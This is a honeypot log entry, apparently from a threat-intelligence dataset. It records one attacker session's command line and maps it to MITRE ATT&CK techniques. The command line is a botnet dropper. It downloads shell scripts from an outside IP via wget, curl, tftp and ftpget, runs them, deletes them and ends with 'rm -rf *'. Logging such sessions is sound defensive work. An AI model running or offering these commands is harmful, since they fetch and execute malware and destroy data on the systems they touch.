Honeypot attack session (period 2021_2022), commands issued:
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://164.92.76.161/76d32be0.sh; curl -O http://164.92.76.161/76d32be0.sh; chmod 777 76d32be0.sh; sh 76d32be0.sh; tftp 164.92.76.161 -c get 76d32be0.sh; chmod 777 76d32be0.sh; sh 76d32be0.sh; tftp -r 76d32be02.sh -g 164.92.76.161; chmod 777 76d32be02.sh; sh 76d32be02.sh; ftpget -v -u anonymous -p anonymous -P 21 164.92.76.161 76d32be01.sh 76d32be01.sh; sh 76d32be01.sh; rm -rf 76d32be0.sh 76d32be0.sh 76d32be02.sh 76d32be01.sh; rm -rf * 

MITRE ATT&CK techniques observed:
T1083 File and Directory Discovery
T1105 Ingress Tool Transfer
T1222 File and Directory Permissions Modification
T1059 Command and Scripting Interpreter
T1070 Indicator Removal